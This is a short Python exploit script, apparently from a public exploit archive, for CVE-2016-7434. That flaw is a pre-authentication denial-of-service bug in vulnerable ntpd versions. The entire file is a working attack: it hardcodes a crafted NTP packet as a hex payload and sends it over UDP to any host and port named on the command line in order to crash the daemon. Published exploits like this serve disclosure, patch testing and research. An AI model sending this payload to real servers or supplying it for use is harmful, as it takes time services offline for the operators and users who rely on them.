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#!/usr/bin/env python
# Exploit Title: ntpd remote pre-auth Denial of Service
# Date: 2016-11-21
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: http://dumpco.re/cve-2016-7434/
# Vendor Homepage: http://www.ntp.org/
# Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p8.tar.gz
# Version: ntp-4.2.7p22, up to but not including ntp-4.2.8p9, and ntp-4.3.0 up to, but not including ntp-4.3.94
# CVE: CVE-2016-7434
import sys
import socket
if len(sys.argv) != 3:
print "usage: " + sys.argv[0] + " <host> <port>"
sys.exit(-1)
payload = "\x16\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x36\x6e\x6f\x6e\x63\x65\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x48\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x00"
print "[-] Sending payload to " + sys.argv[1] + ":" + sys.argv[2] + " ..."
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], int(sys.argv[2])))
print "[+] Done!"
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